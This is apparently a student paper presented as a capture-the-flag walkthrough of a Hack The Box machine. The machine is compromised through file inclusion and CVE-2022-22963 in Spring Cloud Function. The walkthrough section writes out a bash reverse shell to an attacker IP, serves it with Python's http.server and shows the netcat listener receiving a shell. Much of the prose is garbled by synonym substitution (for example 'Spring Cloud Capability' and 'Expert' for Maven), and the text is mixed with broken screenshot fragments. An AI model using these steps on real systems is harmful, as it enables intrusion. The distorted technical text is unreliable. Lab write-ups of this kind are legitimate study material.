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Abstract— This paper provides an outline of a few innovations that engineers might experience during programming improvement projects.
The primary innovation examined is Spring Cloud Capability, a venture that works with the execution of business rationale by means of
capabilities that can run as a web endpoint, stream processor, or errand. In any case, the second piece of the paper features a weakness in
Spring Cloud Capability (CVE-2022-22963) that considers remote code execution by pernicious Spring Articulation, showing a potential
security danger. Furthermore, this paper examines Python's http.server, a library that gives classes to executing HTTP servers, and Netcat, a
cross-stage utility for perusing and writing to organize associations. At long last, the paper characterizes pom.xml, a XML record utilized by
Expert to fabricate projects, containing fundamental undertaking data like conditions, assemble registry, source catalog, and that's only the
tip of the iceberg. In general, this paper plans to give designers a far reaching comprehension of these innovations and their possible

weaknesses.
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l. INTRODUCTION

Spring Cloud Capability is an undertaking that intends to
advance the execution of business rationale by means of
capabilities. It decouples the improvement lifecycle of business
rationale from a particular runtime target with the goal that a
similar code can run as a web endpoint, a stream processor, or
an errand.

CVE-2022-22963 is a weakness in Spring Cloud Capability
that permits remote code execution by malevolent Spring
Articulation. An assailant could pass malignant code to the
server by means of an unvalidated HTTP header,
"spring.cloud.function.routing-articulation". A payload of
articulation language code brings about inconsistent execution
by the Cloud Capability administration.

"http.server" is a Python library that gives classes to executing
HTTP servers (Web servers) that can serve content to the
Internet. A basic HTTP server serves documents from the
ongoing registry and its subdirectories.

Netcat (frequently condensed to nc) is a PC organizing utility
for perusing from and writing to arrange associations utilizing
TCP or UDP. It is intended to be a trustworthy back-end that can
be utilized straightforwardly or effortlessly determined by
different projects and scripts. Netcat is cross-stage, and it is
accessible for Linux, macOS
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pom.xml is a XML record that contains data about the task and
arrangement subtleties utilized by Expert to construct the
venture, for example, conditions, fabricate registry, source
index, test source catalog, module, objectives and so on. It is an
essential unit of work in Expert

According to U. Muthuraman, J. Monica Esther, R. Ravi, R.
Kabilan, G. Prince Devaraj, and J. Zahariya Gabriel (2022)
future data analysis will be based on statistics gathered with the
aid of sensors and will be implemented as a webapp[1]

I INITIAL SETUP
Pinging the Machine to check the machine is reachable or not

kali@kali: ~

File Actions Edit View Help

Fig No : 1 Scanning the Target using Rustscan
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Fig No : 2 Scanning the Target using NMAP for more
information
We tried to upload a picture to the target using the WebApp

Please Upload a file!

Browse...  Screenshot 2023

(reset) Uplesd
10N
H 8.2p1 Ubuntu &ubuntu@.5 (Ubuntu Linux; prot

And the file was uploaded

Uploaded!

Browse... Mo file selected

[ -

results at htt

From the above results, we can see that a website is hosted from
the target at port 8080

On checking the target with the port number using the browser
we can see the hosted website named Zodd Cloud

Zodd Cloud
EnEn
Fadhipes From the URL It looks like Local File Intrusion (LFI)
siiniied [ MRonsiiall [ Eommoininia Let’s try to intercept the traffic with the Burp Suite:

e - Request

Raw Hex

How it works

Enumerating the website we can see an Upload button on it

Let’s change the image path with the LFI [2] payload to
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CVE-2022-22963 is to run the vulnerable SpringBoot application run this docker container

exposing it to port 8080. Example:

Request Response
o 7 N _
C

Exploit

Curl command:

From the /etc/passwd file we came to know that there is two
normal users in the system

1. Frank
2. Phil

Let’s check for the WebApp where it is hosted

We got the procedure to execute the exploit

"; <=, On Execution of the command a file named “hello” was
" created

Mostly the Hosted WebApp will be in the folder
Ivarlwww

On Checking the Folder /var/www/WebApp there is a
file named pom.xml

I_:’om.xml_ is an XML [3] f_ile which coptains_ ) Let’s create a reverse shell and save it as tmp_rev.sh
information about the project and configuration details And serve the file using a built-in library in Python
used by Maven to build the project

By Checking the pom.xml file we can see it uses
“spring-cloud-function-web” of version 3.2.2

called “http.server”

~/Desktop/HTB/inject
tmp_rev.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.30/1234 0>81

Request Response

Raw Hex =5

~/Desktop/HTB/inject
- http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Let’s send the reverse shell to the target using the exploit

The “spring-cloud-function-web” of version 3.2.2 has a

CVE-2022-22963 (Spring4shell) which is a Remote
Code Execution (RCE) Let’s start the Netcat [4] listener in the attacker machine

By searching the CVE-2022-22963 is online
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12
on [any] 1

Let’s start the reverse shell by using the exploit method

Now we get a reverse shell in the Netcat listener

1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.204] 58994
bash: cannot set terminal process group (789): Inappropriate ioctl for device
bash: no job control in this shell

bash-5.0$ id

id

uid=1000(frank) gid=1000(frank) groups=1000(frank)
bash-5.0% I

By using the exploit we get access to the target system
as user “Frank”
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